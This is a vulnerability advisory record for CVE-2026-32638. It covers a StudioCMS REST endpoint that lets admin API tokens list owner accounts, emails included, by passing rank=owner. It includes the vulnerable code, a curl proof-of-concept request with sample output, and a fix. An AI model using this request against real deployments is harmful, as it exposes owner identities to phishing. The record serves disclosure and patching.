{"id":"CVE-2026-32638","aliases":["GHSA-xvf4-ch4q-2m24"],"url":"https://o3.security/vulnerability/CVE-2026-32638","summary":"StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens","details":"## Summary\n\nThe REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.\n\n## Details\n\n### Vulnerable Code Path\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1605-1647\n\n```ts\n.handle(\n    'getUsers',\n    Effect.fn(\n        function* ({ urlParams: { name, rank, username } }) {\n            if (!restAPIEnabled) {\n                return yield* new RestAPIError({ error: 'Endpoint not found' });\n            }\n            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);\n\n            if (user.rank !== 'owner' && user.rank !== 'admin') {\n                return yield* new RestAPIError({ error: 'Unauthorized' });\n            }\n\n            const allUsers = yield* sdk.GET.users.all();\n            let data = allUsers.map(...);\n\n            if (rank !== 'owner') {\n                data = data.filter((user) => user.rank !== 'owner');\n            }\n\n            if (rank) {\n                data = data.filter((user) => user.rank === rank);\n            }\n\n            return data;\n        },\n```\n\nThe `rank` variable in `if (rank !== 'owner')` is the request query parameter, not the caller's privilege level. An admin can therefore pass `rank=owner`, skip the owner-filtering branch, and then have the second `if (rank)` branch return only owner accounts.\n\n### Adjacent Endpoint Shows Intended Security Boundary\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1650-1710\n\n```ts\nconst existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\nif (loggedInUserRankIndex <= existingUserRankIndex) {\n    return yield* new RestAPIError({\n        error: 'Unauthorized to view user with higher rank',\n    });\n}\n```\n\n`getUser` correctly blocks an admin from viewing an owner record. `getUsers` bypasses that boundary for bulk enumeration.\n\n### Sensitive Fields Returned\n\nThe `getUsers` response includes:\n\n- `id`\n- `email`\n- `name`\n- `username`\n- `rank`\n- timestamps and profile URL/avatar fields when present\n\nThis is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.\n\n## PoC\n\n### HTTP PoC\n\nUse any admin-level REST API token:\n\n```bash\ncurl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \\\n  -H 'Authorization: Bearer <admin-api-token>'\n```\n\nExpected behavior:\n- owner records should be excluded for admin callers, consistent with `getUser`\n\nActual behavior:\n- the response contains owner user objects, including email addresses and user IDs\n\n### Local Validation of the Exact Handler Logic\n\nI validated the filtering logic locally with the same conditions used by `getUsers` and `getUser`.\n\nObserved output:\n\n```json\n{\n  \"admin_getUsers_rank_owner\": [\n    {\n      \"email\": \"owner@example.test\",\n      \"id\": \"owner-1\",\n      \"name\": \"Site Owner\",\n      \"rank\": \"owner\",\n      \"username\": \"owner1\"\n    }\n  ],\n  \"admin_getUser_owner\": \"Unauthorized to view user with higher rank\"\n}\n```\n\nThis demonstrates the authorization mismatch clearly:\n- bulk listing with `rank=owner` exposes owner records\n- direct access to a single owner record is denied\n\n## Impact\n\n- **Owner Account Enumeration:** Admin tokens can recover owner user IDs, usernames, display names, and email addresses.\n- **Authorization Boundary Bypass:** The REST collection endpoint bypasses the stricter per-record rank check already implemented by `getUser`.\n- **Chaining Value:** Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.\n\n## Recommended Fix\n\nApply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as `getUser`.\n\nExample fix:\n\n```ts\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\ndata = data.filter((candidate) => {\n    const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);\n    return loggedInUserRankIndex > candidateRankIndex;\n});\n\nif (rank) {\n    data = data.filter((candidate) => candidate.rank === rank);\n}\n```\n\nAt minimum, replace:\n\n```ts\nif (rank !== 'owner') {\n    data = data.filter((user) => user.rank !== 'owner');\n}\n```\n\nwith a check tied to `user.rank` rather than the query parameter.","published":"2026-03-18T20:41:14.034Z","modified":"2026-10-28T02:30:28.227428171Z","cvss":{"score":2.7,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00375,"percentile":0.30205,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"studiocms","fixedVersion":"0.4.4"}],"fix":{"url":"https://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64","label":"withstudiocms/studiocms@aebe8bc"},"references":[{"type":"WEB","url":"https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32638.json"},{"type":"ADVISORY","url":"https://github.com/withstudiocms/studiocms/security/advisories/GHSA-xvf4-ch4q-2m24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32638"},{"type":"FIX","url":"https://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64"},{"type":"PACKAGE","url":"https://github.com/withstudiocms/studiocms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:28.227428171Z"}}